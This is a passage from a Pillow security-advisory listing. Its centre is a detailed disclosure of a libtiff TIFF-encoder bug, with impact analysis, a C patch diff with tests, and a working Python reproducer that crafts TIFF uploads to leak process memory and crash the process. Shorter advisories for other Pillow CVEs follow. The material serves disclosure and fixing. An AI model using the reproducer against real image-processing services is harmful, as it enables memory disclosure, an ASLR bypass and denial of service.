exif=im.info["exif"])`, or a TIFF re-saved with `tiffinfo=im.tag_v2` (`_setitem` auto-types a tuple of `IFDRational` as RATIONAL, `TiffImagePlugin.py:689-701`; `types[tag] = ifd.tagtype[tag]` at `:1968`). - For libtiff's built-in fixed-count float tags `WhitePoint` (318, 2), `PrimaryChromaticities` (319, 6) and `YCbCrCoefficients` (529, 3), which `_save` forwards from any source TIFF and types RATIONAL via `TiffTags.lookup`, the pointer-only convention happens to match, but libtiff copies its *fixed* count from an array that is only as long as the file declared: a PackBits TIFF with `PrimaryChromaticities` count 1 and a bare `im.save(out, "TIFF")` gives `READ of size 24 … right of 4-byte region`, and the over-read floats are written to tag 319 of the output. `REFERENCEBLACKWHITE`/`TRANSFERFUNCTION` are blocklisted at `TiffImagePlugin.py:1941-1952` for exactly this reason; 318/319/529 are not. * **Core tag reached as a scalar via a stale file-supplied type.** With the re-save idiom `im.save(out, "TIFF", tiffinfo=im.tag_v2)`, `_save` copies `ifd.tagtype[key] = info.tagtype[key]` for every key (`TiffImagePlugin.py:1768-1776`) and later assigns its own values to some of the same tags without resetting the type (`ifd[COLORMAP] = colormap` at `:1870-1877`; likewise BitsPerSample, SamplesPerPixel, ExtraSamples, ICCProfile, …). For a 418-byte PackBits *palette* TIFF whose ColorMap entry is declared BYTE, `_setitem` (`:751-770`) truncates `_save`'s 768-entry palette to a single `int` (with only a "too many entries" warning), the encoder receives `(320, 0)`, autodetects `TIFF_LONG`, and `src/encode.c:1013-1016` calls `TIFFSetField(TIFFTAG_COLORMAP, (UINT32)0)` — libtiff reads three `uint16_t *` and faults at an address ≤ 65280 on every run. The stale-tagtype copy is a Python-side hygiene bug in its own right, but its memory-safety consequence exists only because the encoder lets a non-tuple value reach `TIFFSetField(COLORMAP)`. ##### Impact Any service that accepts a TIFF and writes it back out as TIFF through libtiff — which happens with a plain `im.save(fp, "TIFF")` whenever the uploaded file is compressed, or whenever a `compression=` other than raw is requested — returns to the uploader, inside one metadata tag of the produced file, an attacker-chosen number of bytes read from a stale pointer in the worker process, deterministically and without retries. Which memory that is depends on the compiler's register allocation for `PyImaging_LibTiffEncoderNew`: in this clang build the pointer is `_imaging.so + 0x1588`, so a request for 262 144 bytes (which succeeded every time in testing, as did 2 000 000) covers the extension's `.rodata`, `.data.rel.ro`/GOT and `.data` and returned 2 800+ resolved pointers into libpython, libc, libtiff, libjpeg and others — a complete ASLR bypass for chaining with any other memory bug; a gcc build of the same source left a different, unrelated address in that slot. The fixed-count variant kills the worker process with SIGSEGV from a 181-byte upload on every request. With `tiffinfo=im.tag_v2` the source address is fully attacker-chosen (16-byte arbitrary read into the output for ActiveArea, or a crash). No non-default Pillow setting is involved; the only precondition is TIFF-to-TIFF re-encoding. The other branches add further deterministic process-kill inputs (BYTE-typed ColorMap in any RGB or palette TIFF; `thumbnail()` keeps `tag_v2`, so open→thumbnail→save-as-TIFF is affected too) and extend the reach to JPEG/PNG/WebP uploads whose EXIF is preserved with `exif=` when converting to libtiff-compressed TIFF. All the memory errors are reads; libtiff sizes its destination buffers with the same count it copies, so no out-of-bounds write was found. ##### Reproducing `repro` is one Python script, run against the stock build with the installed `PIL`. It needs no compiler and no extra files. `upload(tag, value)` has Pillow write a 16×16 red RGB image as an LZW-compressed TIFF, then appends a new IFD holding the same entries plus one extra `<tag> / LONG / count 1 / value` (kept in tag order) and points the header at it — a 356-byte input on this tree. The source is LZW-compressed on purpose. A bare `im.save(out, "TIFF")` keeps the source's compression, so the save goes through the libtiff writer even though the application passes no arguments. `resave()` is the whole "application": `Image.open(BytesIO(src)); im.save(out, "TIFF")`. The script runs three cases: 1. **Control, tag 65000 = 4096.** libtiff does not know this tag, so the file is re-saved correctly and the output tag reads back as the integer `4096`. This is what should happen to every tag. 2. **Leak, DNGPrivateData 50740 = 65536.** libtiff's built-in definition of this tag is a counted BYTE array. It reads Pillow's single scalar as the *count* and takes the data pointer from a vararg slot Pillow never wrote. The output tag comes back as `bytes` of length 65536 that do not occur in the input. The script prints the first 32 of them and the file offset at which they occur in `_imaging.so` on disk. On this build they always do (offset `0x57588`): the stale pointer aims into the extension's read-only data. 3. **Wild read, ActiveArea 50829 = 64.** libtiff defines this tag as a fixed LONG[4] array with no count, so it uses the scalar 64 as the *source address*. The script re-runs itself as a child process (`repro child`, core dumps disabled) to do this re-save, and the child exits with `-11`, meaning SIGSEGV. Expected output on the affected tree: ``` control tag 65000=4096 -> 4096 leak tag 50740=65536 from a 356-byte upload -> 65536 bytes not present in input, head a661fcffc661fcff3360fcff7b61fcffd361fcff085ffcffe061fcff3360fcff leaked bytes found in _imaging.so at file offset 0x57588 crash tag 50829=64 -> child exit -11 (SIGSEGV) BUG ``` The script prints `BUG` if case 2 leaks or case 3 crashes. Both are deterministic on this build. A fixed Pillow prints `OK`: the tag does not come back as 65536 bytes of foreign data (it reads back as `None`, or `save()` raises `ValueError`/`RuntimeError`, which the script catches), and the child exits with something other than SIGSEGV (0, or 1 if `save()` raised). The other branches can be checked by hand on the stock build in the same way (each as `Image.open(f); im.save(BytesIO(), "TIFF")` in a child process): a PackBits RGB TIFF with an extra IFD entry `320 / BYTE / 4 / "ABCD"` → SIGSEGV every run; a PackBits palette TIFF whose ColorMap is `320 / BYTE / 2` saved with `tiffinfo=im.tag_v2` → SIGSEGV every run; a Pillow-written JPEG whose EXIF holds tag 50000 = RATIONAL×2 saved with `compression="tiff_lzw", exif=im.info["exif"]` → SIGSEGV in most runs, `RuntimeError` ("Failed to allocate memory for custom tag binary object (-N elements of 4 bytes each)") in the rest. ##### Suggested fix The encoder must not guess the calling convention; it has to ask libtiff what the tag's effective definition is *after* `ImagingLibTiffMergeFieldInfo` and marshal accordingly, or refuse. The attached patch does this for non-core tags: * a new `ImagingLibTiffFindField()` in `src/libImaging/TiffDecode.c` (declared in `TiffDecode.h`, next to the other libtiff wrappers) returns libtiff's `TIFFFindField` type, `passcount` and `writecount` for a tag; * in `PyImaging_LibTiffEncoderNew` (`src/encode.c`), for a non-core tag that libtiff already knows, Pillow adopts libtiff's type when it has none of its own, and after `ImagingLibTiffMergeFieldInfo` a new `tiff_field_matches()` checks the value against libtiff's definition: a scalar only for a single-value field whose C argument type (int / `uint64_t` / double / `char *`) matches, an array only with libtiff's element size and, for fixed-count fields, exactly `writecount` elements. Anything else raises `ValueError("Tag value does not match libtiff field definition")` instead of reaching `TIFFSetField` — this covers the reproducer's DNGPrivateData and ActiveArea inputs, ASCII-typed Photoshop, short PrimaryChromaticities and the `LONG8` `tiffinfo=` variant; * every tuple/`bytes` branch now goes through `set_tiff_array_field()`, which passes `len` only when the field has `passcount` set; this also fixes the `TIFF_RATIONAL` branch, which never passed a count (and extends it to `TIFF_SRATIONAL`); * `TIFF_UNDEFINED` fields are registered as variable-length, matching how their `bytes` values are passed; * `Tests/test_file_libtiff.py` gains a regression test (scalar DNGPrivateData, scalar and 2-tuple ActiveArea rejected; well-formed values round-trip). Core tags and tags libtiff does not know keep their current behaviour. With the patch applied to a clean checkout and rebuilt, the reproducer no longer triggers and the test suite passes. It is not a complete fix, however: the whole check sits inside `if (!is_core_tag)`, so the BYTE-typed ColorMap variant stays open. The PackBits RGB TIFF carrying `320 / BYTE / 4`, re-saved with a bare `save()`, no longer segfaults at this point but writes 1536 bytes — over-read from the 5-byte `bytes` object and two stale varargs, including 22 live heap pointers — into the output ColorMap, which is still a disclosure. Before merging, it needs a guard that accepts `TIFFTAG_COLORMAP` only through the existing 768-tuple branch, never through the scalar or `bytes` branches, and ideally the same shape check for the other core tags libtiff special-cases in `_TIFFVSetField` (YCbCrSubsampling 530, TransferFunction 301, ReferenceBlackWhite 532). Narrower Python-side mitigations in `_save` close individual entry points but not the class, and are worth adding alongside the C-side check: drop tags with `TiffTags.lookup(tag).type is None` from `supplied_tags` (closes the `Image.open()→save()` path shown here but not `tiffinfo=` callers); remove `COLORMAP` from `supplied_tags` next to `EXIFIFD`/`SAMPLEFORMAT` and extend the `IPTC_NAA_CHUNK` BYTE/UNDEFINED type guard to `PHOTOSHOP_CHUNK` and `XMP`; add 318/319/529 to the blocklist next to `REFERENCEBLACKWHITE`; and have `_save` `ifd.tagtype.pop(tag, None)` before assigning its own ColorMap/BitsPerSample/ICCProfile/… values so a `tiffinfo=`-imported type cannot reshape them. The C-side check is the fix to rely on. ##### The patch Pass TIFF tag values to libtiff according to its own field definition, and raise ValueError when they do not fit Applies to `src/encode.c` at the commit above. It passed the mechanical check — applied to a clean tree, rebuilt, the reproducer stopped firing — but a reviewer did not endorse it as the right fix. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..adc4633e4 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -395,6 +395,43 @@ class TestFileLibTiff(LibTiffTestCase): with pytest.raises(ValueError, match="Incorrect tag value type"): im.save(out, tiffinfo=ifd) + @pytest.mark.parametrize( + "tag, value", + ( + # DNGPrivateData is a BYTE array with a count to libtiff + (50740, 4096), + # ActiveArea is a LONG array of four values to libtiff + (50829, 64), + (50829, (0, 0)), + ), + ) + def test_libtiff_field_definition( + self, tag: int, value: Any, monkeypatch: pytest.MonkeyPatch, tmp_path: Path + ) -> None: + monkeypatch.setattr(TiffImagePlugin, "WRITE_LIBTIFF", True) + + ifd = TiffImagePlugin.ImageFileDirectory_v2() + ifd[tag] = value + ifd.tagtype[tag] = TiffTags.LONG + + out = tmp_path / "temp.tif" + im = Image.new("L", (1, 1)) + with pytest.raises(ValueError, match="libtiff field definition"): + im.save(out, tiffinfo=ifd) + + # Values that match the libtiff definition are written + ifd = TiffImagePlugin.ImageFileDirectory_v2() + ifd[50740] = b"private" + ifd.tagtype[50740] = TiffTags.BYTE + ifd[50829] = (0, 0, 1, 1) + ifd.tagtype[50829] = TiffTags.LONG + im.save(out, tiffinfo=ifd) + + with Image.open(out) as reloaded: + assert isinstance(reloaded, TiffImagePlugin.TiffImageFile) + assert reloaded.tag_v2[50740] == b"private" + assert reloaded.tag_v2[50829] == (0, 0, 1, 1) + def test_inknames_tag( self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path ) -> None: diff --git a/src/encode.c b/src/encode.c index 9e19e9002..cbbd09f0d 100644 --- a/src/encode.c +++ b/src/encode.c @@ -675,6 +675,106 @@ PyImaging_ZipEncoderNew(PyObject *self, PyObject *args) { #include <string.h> +/* C type that TIFFSetField reads from its arguments for a single value of + the given type: int, uint64_t, double or char * */ +static int +tiff_scalar_arg_type(TIFFDataType type) { + switch (type) { + case TIFF_BYTE: + case TIFF_SBYTE: + case TIFF_UNDEFINED: + case TIFF_SHORT: + case TIFF_SSHORT: + case TIFF_LONG: + case TIFF_SLONG: + case TIFF_IFD: + return 1; + case TIFF_LONG8: + case TIFF_SLONG8: + case TIFF_IFD8: + return 2; + case TIFF_FLOAT: + case TIFF_DOUBLE: + case TIFF_RATIONAL: + case TIFF_SRATIONAL: + return 3; + case TIFF_ASCII: + return 4; + default: + return 0; + } +} + +/* Size of the values that TIFFSetField copies from an array of the given + type. libtiff stores custom RATIONAL arrays as floats. */ +static int +tiff_array_item_size(TIFFDataType type) { + switch (type) { + case TIFF_BYTE: + case TIFF_SBYTE: + case TIFF_UNDEFINED: + case TIFF_ASCII: + return 1; + case TIFF_SHORT: + case TIFF_SSHORT: + return 2; + case TIFF_LONG: + case TIFF_SLONG: + case TIFF_IFD: + case TIFF_FLOAT: + case TIFF_RATIONAL: + case TIFF_SRATIONAL: + return 4; + case TIFF_DOUBLE: + case TIFF_LONG8: + case TIFF_SLONG8: + case TIFF_IFD8: + return 8; + default: + return 0; + } +} + +/* Check that a value which will be passed to TIFFSetField as a single value + of the given type, or as an array of len values, matches the definition + of the field that libtiff will use. */ +static int +tiff_field_matches( + TIFFDataType field_type, + int passcount, + int writecount, + TIFFDataType type, + int is_var_length, + Py_ssize_t len +) { + if (field_type == TIFF_ASCII && !passcount) { + // TIFFSetField reads a null-terminated string + return !is_var_length && type == TIFF_ASCII; + } + if (!is_var_length) { + // TIFFSetField reads a single value + return !passcount && writecount == 1 && tiff_scalar_arg_type(type) && + tiff_scalar_arg_type(type) == tiff_scalar_arg_type(field_type); + } + // TIFFSetField reads a pointer to the values, preceded by the number of + // values if passcount is set. Otherwise, the number of values is fixed. + if (!tiff_array_item_size(type) || + tiff_array_item_size(type) != tiff_array_item_size(field_type)) { + return 0; + } + return passcount || (writecount > 1 && len == writecount); +} + +static int +set_tiff_array_field( + ImagingCodecState state, int key, int passcount, Py_ssize_t len, void *av +) { + if (passcount) { + return ImagingLibTiffSetField(state, (ttag_t)key, len, av); + } + return ImagingLibTiffSetField(state, (ttag_t)key, av); +} + PyObject * PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { ImagingEncoderObject *encoder; @@ -689,7 +789,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { PyObject *key, *value; Py_ssize_t pos = 0; int key_int, status, is_core_tag, is_var_length, num_core_tags, i; - TIFFDataType type = TIFF_NOTYPE; + int is_known_tag, passcount, writecount; + TIFFDataType type = TIFF_NOTYPE, field_type; // This list also exists in TiffTags.py const int core_tags[] = {256, 257, 258, 259, 262, 263, 266, 269, 274, 277, 278, 280, 281, 282, 283, 284, 286, 287, 296, 297, @@ -777,6 +878,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { status = 0; is_core_tag = 0; is_var_length = 0; + is_known_tag = 0; + passcount = 1; type = TIFF_NOTYPE; for (i = 0; i < num_core_tags; i++) { @@ -800,6 +903,15 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { } Py_DECREF(tag_type); } + + // libtiff uses its own definition for tags that it already knows, + // rather than the field registered below. + is_known_tag = ImagingLibTiffFindField( + &encoder->state, key_int, &field_type, &passcount, &writecount + ); + if (is_known_tag && type == TIFF_NOTYPE) { + type = field_type; + } } if (type == TIFF_NOTYPE) { @@ -838,7 +950,7 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { if (!is_core_tag) { // Register field for non core tags. - if (type == TIFF_BYTE) { + if (type == TIFF_BYTE || type == TIFF_UNDEFINED) { is_var_length = 1; } if (ImagingLibTiffMergeFieldInfo( @@ -847,6 +959,28 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { Py_DECREF(item); continue; } + + if (is_known_tag) { + // Check that the value will be passed to TIFFSetField in the + // form that libtiff's definition of the tag expects. + Py_ssize_t len = 0; + if (PyTuple_Check(value)) { + len = PyTuple_Size(value); + } else if (PyBytes_Check(value)) { + len = PyBytes_Size(value); + } + if (!tiff_field_matches( + field_type, passcount, writecount, type, is_var_length, len + )) { + Py_DECREF(encoder); + Py_DECREF(item); + PyErr_SetString( + PyExc_ValueError, + "Tag value does not match libtiff field definition" + ); + return NULL; + } + } } if (type == TIFF_BYTE || type == TIFF_UNDEFINED || @@ -857,9 +991,10 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { PyErr_SetString(PyExc_ValueError, "Incorrect tag value type"); return NULL; } - status = ImagingLibTiffSetField( + status = set_tiff_array_field( &encoder->state, - (ttag_t)key_int, + key_int, + passcount, PyBytes_Size(value), PyBytes_AsString(value) ); @@ -909,8 +1044,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = (UINT16)PyLong_AsLong(PyTuple_GetItem(value, i)); } - status = ImagingLibTiffSetField( - &encoder->state, (ttag_t)key_int, len, av + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av ); free(av); } @@ -922,8 +1057,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = (UINT32)PyLong_AsLong(PyTuple_GetItem(value, i)); } - status = ImagingLibTiffSetField( - &encoder->state, (ttag_t)key_int, len, av + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av ); free(av); } @@ -935,8 +1070,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = (INT8)PyLong_AsLong(PyTuple_GetItem(value, i)); } - status = ImagingLibTiffSetField( - &encoder->state, (ttag_t)key_int, len, av + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av ); free(av); } @@ -948,8 +1083,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = (INT16)PyLong_AsLong(PyTuple_GetItem(value, i)); } - status = ImagingLibTiffSetField( - &encoder->state, (ttag_t)key_int, len, av + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av ); free(av); } @@ -961,8 +1096,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = (INT32)PyLong_AsLong(PyTuple_GetItem(value, i)); } - status = ImagingLibTiffSetField( - &encoder->state, (ttag_t)key_int, len, av + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av ); free(av); } @@ -974,8 +1109,8 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = (FLOAT32)PyFloat_AsDouble(PyTuple_GetItem(value, i)); } - status = ImagingLibTiffSetField( - &encoder->state, (ttag_t)key_int, len, av + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av ); free(av); } @@ -987,12 +1122,12 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = PyFloat_AsDouble(PyTuple_GetItem(value, i)); } - status = ImagingLibTiffSetField( - &encoder->state, (ttag_t)key_int, len, av + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av ); free(av); } - } else if (type == TIFF_RATIONAL) { + } else if (type == TIFF_RATIONAL || type == TIFF_SRATIONAL) { FLOAT32 *av; /* malloc check ok, calloc checks for overflow */ av = calloc(len, sizeof(FLOAT32)); @@ -1000,8 +1135,9 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) { for (i = 0; i < len; i++) { av[i] = (FLOAT32)PyFloat_AsDouble(PyTuple_GetItem(value, i)); } - status = - ImagingLibTiffSetField(&encoder->state, (ttag_t)key_int, av); + status = set_tiff_array_field( + &encoder->state, key_int, passcount, len, av + ); free(av); } } diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..e14dd50bb 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -923,6 +923,29 @@ ImagingLibTiffMergeFieldInfo( return TIFFMergeFieldInfo(clientstate->tiff, info, n); } +int +ImagingLibTiffFindField( + ImagingCodecState state, + int key, + TIFFDataType *field_type, + int *passcount, + int *writecount +) { + // Look up libtiff's own definition of a tag. TIFFMergeFieldInfo does not + // replace the definition of a tag that libtiff already knows, so this is + // what TIFFSetField will use for such tags. + TIFFSTATE *clientstate = (TIFFSTATE *)state->context; + const TIFFField *fip = TIFFFindField(clientstate->tiff, (ttag_t)key, TIFF_ANY); + + if (!fip) { + return 0; + } + *field_type = TIFFFieldDataType(fip); + *passcount = TIFFFieldPassCount(fip); + *writecount = TIFFFieldWriteCount(fip); + return 1; +} + int ImagingLibTiffSetField(ImagingCodecState state, ttag_t tag, ...) { // after tif_dir.c->TIFFSetField. diff --git a/src/libImaging/TiffDecode.h b/src/libImaging/TiffDecode.h index c31d0b9d8..ee1e4a5f9 100644 --- a/src/libImaging/TiffDecode.h +++ b/src/libImaging/TiffDecode.h @@ -41,6 +41,14 @@ ImagingLibTiffMergeFieldInfo( ImagingCodecState state, TIFFDataType field_type, int key, int is_var_length ); extern int +ImagingLibTiffFindField( + ImagingCodecState state, + int key, + TIFFDataType *field_type, + int *passcount, + int *writecount +); +extern int ImagingLibTiffSetField(ImagingCodecState state, ttag_t tag, ...); /* ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 2,545 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 ##### Pillow libtiff writer: a count-1 integer tag copied from the source TIFF is passed to ##### TIFFSetField() as one scalar vararg; for tags libtiff itself defines as arrays it is ##### consumed as a byte COUNT (DNGPrivateData 50740 -> N bytes of process memory written ##### into the output) or as a POINTER (ActiveArea 50829 -> SIGSEGV). Application side is ##### the ordinary "open upload, save as TIFF" (compression is inherited -> libtiff writer). import io, struct, subprocess, sys, resource from PIL import Image def upload(tag, value): """Pillow-written 16x16 LZW TIFF, plus one extra IFD entry <tag> LONG[1] = value.""" b = io.BytesIO() Image.new("RGB", (16, 16), "red").save(b, "TIFF", compression="tiff_lzw") data = bytearray(b.getvalue()); assert data[:4] == b"II*\0" (off,) = struct.unpack_from("<I", data, 4) (n,) = struct.unpack_from("<H", data, off) ents = [bytes(data[off + 2 + 12 * i: off + 14 + 12 * i]) for i in range(n)] ents.append(struct.pack("<HHII", tag, 4, 1, value)) ents.sort(key=lambda e: struct.unpack_from("<H", e)[0]) data += b"\0" * (len(data) & 1); new_off = len(data) data += struct.pack("<H", len(ents)) + b"".join(ents) + struct.pack("<I", 0) struct.pack_into("<I", data, 4, new_off) return bytes(data) def resave(src): # the whole "service" im = Image.open(io.BytesIO(src)); out = io.BytesIO(); im.save(out, "TIFF") return out.getvalue() if len(sys.argv) > 1 and sys.argv[1] == "child": resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) resave(upload(50829, 64)); sys.exit(0) print("PIL core:", Image.core.__file__) ctl = Image.open(io.BytesIO(resave(upload(65000, 4096)))).tag_v2.get(65000) print("control tag 65000=4096 ->", repr(ctl)) N = 65536 src = upload(50740, N) try: v = Image.open(io.BytesIO(resave(src))).tag_v2.get(50740) except (ValueError, RuntimeError) as e: # a fixed Pillow may reject the tag v = e leak = isinstance(v, bytes) and len(v) == N and v[:64] not in src print(f"leak tag 50740={N} from a {len(src)}-byte upload ->", f"{len(v)} bytes not present in input, head {v[:32].hex()}" if leak else repr(v)[:80]) if leak: so = open(Image.core.__file__, "rb").read() print(" leaked bytes found in _imaging.so at file offset", hex(so.find(v[:256]))) rc = subprocess.call([sys.executable, __file__, "child"]) crash = rc in (-11, 139) print("crash tag 50829=64 -> child exit", rc, "(SIGSEGV)" if crash else "") print("BUG" if leak or crash else "OK") ``` </details> --- #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-xvh5-g6gv-559v](https://github.com/python-pillow/Pillow/security/advisories/GHSA-xvh5-g6gv-559v) - [https://github.com/python-pillow/Pillow/commit/af56ace297b0991d02988fcc2ea933e4824b4fb3](https://github.com/python-pillow/Pillow/commit/af56ace297b0991d02988fcc2ea933e4824b4fb3) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xvh5-g6gv-559v) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### BIT-pillow-2026-112392 / [CVE-2026-112392](https://nvd.nist.gov/vuln/detail/CVE-2026-112392) / [GHSA-27h8-gf7j-v5hc](https://github.com/advisories/GHSA-27h8-gf7j-v5hc) / PYSEC-2026-4326 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 13.0.0, Pillow's rank-based filters can dereference invalid image storage for a zero-size image. ImagingExpand() allocates a non-empty output and then faults while replicating edges by reading the first pixel from empty input storage; ImagingRankFilter is never reached. An attacker can supply or cause creation of a zero-size image to an application that applies a rank, median, minimum, or maximum filter. This causes a native process crash. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/commit/443e3130a8c11594fd0e296afad497e11e678961](https://github.com/python-pillow/Pillow/commit/443e3130a8c11594fd0e296afad497e11e678961) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-27h8-gf7j-v5hc](https://github.com/python-pillow/Pillow/security/advisories/GHSA-27h8-gf7j-v5hc) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4326) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-112394 / [CVE-2026-112394](https://nvd.nist.gov/vuln/detail/CVE-2026-112394) / [GHSA-4558-3h8r-v8xp](https://github.com/advisories/GHSA-4558-3h8r-v8xp) / PYSEC-2026-4327 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 13.0.0, Pillow's P;2L and P;4L raw decoders can read past the end of an input buffer. ImagingRawDecode calculates a packed-pixel row size, while the unpackers read separately padded bit planes. A caller can supply a buffer and image dimensions whose accepted size is smaller than the unpacker's actual footprint. This can disclose up to three adjacent heap bytes in output pixels or crash the process. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 8.2 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/commit/392ee6f0d19a4adb766a63e9a99f3c28193b8d31](https://github.com/python-pillow/Pillow/commit/392ee6f0d19a4adb766a63e9a99f3c28193b8d31) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-4558-3h8r-v8xp](https://github.com/python-pillow/Pillow/security/advisories/GHSA-4558-3h8r-v8xp) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4327) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-112396 / [CVE-2026-112396](https://nvd.nist.gov/vuln/detail/CVE-2026-112396) / [GHSA-4rr5-89j8-mwwm](https://github.com/advisories/GHSA-4rr5-89j8-mwwm) / PYSEC-2026-4328 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. From 11.3.0 until 13.0.0, Pillow has a heap use-after-free when libtiff rejects a tag while encoding TIFF data to an in-memory buffer. When an application saves attacker-influenced TIFF tags to BytesIO, libtiff can reject a tag during encoding in ImagingLibTiffEncode; the error path then frees the output buffer without closing or clearing the TIFF handle, and later cleanup flushes through the write callback into freed memory, which can crash the process and may enable code execution. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb](https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm](https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4328) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-112397 / [CVE-2026-112397](https://nvd.nist.gov/vuln/detail/CVE-2026-112397) / [GHSA-58r4-6rv3-gfh8](https://github.com/advisories/GHSA-58r4-6rv3-gfh8) / PYSEC-2026-4329 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 13.0.0, Pillow's ImageMorph.MorphOp.apply() can access memory before a row buffer for a zero-width image. PPM and PGM input can create an image with width zero, and the native morphology routine indexes outrow[width - 1] without rejecting that geometry. An attacker can supply such an image to an application that applies a morphology operation. This can crash the process. This issue is fixed in version 13.0.0. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) - [https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64](https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64) - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8](https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4329) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### BIT-pillow-2026-112398 / [CVE-2026-112398](https://nvd.nist.gov/vuln/detail/CVE-2026-112398) / [GHSA-5x8w-8jj5-q52h](https://github.com/advisories/GHSA-5x8w-8jj5-q52h) / PYSEC-2026-4330 <details> <summary>More information</summary> #### Details Pillow is a Python imaging library. Prior to 13.0.0, Pillow's FlashPix JPEG-tile decoder can write decoded scanlines beyond the allocated tile buffer. FlashPix (FPX) JPEG decoding selects raw mode LA with two bytes per pixel, while an unrecognized 